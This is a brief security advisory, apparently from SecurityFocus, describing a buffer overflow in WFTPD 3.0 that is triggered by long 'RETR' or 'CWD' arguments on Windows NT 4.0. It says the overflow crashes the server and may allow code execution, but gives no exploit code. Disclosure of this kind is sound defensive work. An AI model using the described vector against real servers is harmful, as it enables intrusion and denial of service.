WFTPD 3.0 'RETR' and 'CWD' Buffer Overflow Vulnerability

                                                source: http://www.securityfocus.com/bid/2644/info

Invalid long strings submitted using either 'RETR' or 'CWD' commands to a host running WFTPD server, will result in the service terminating due to a buffer overflow. It may be possible for an attacker to execute arbitrary code through this vulnerability.

A restart of the server is required in order to gain normal functionality.

This vulnerability has been reported to exist on systems running Windows NT 4.0 with either SP3, SP4, or SP6 installed.

The problem exists due to the interaction between WFTPD.EXE and the Windows function call 'NTDLL.DLL:RtlFreeHeap()'.
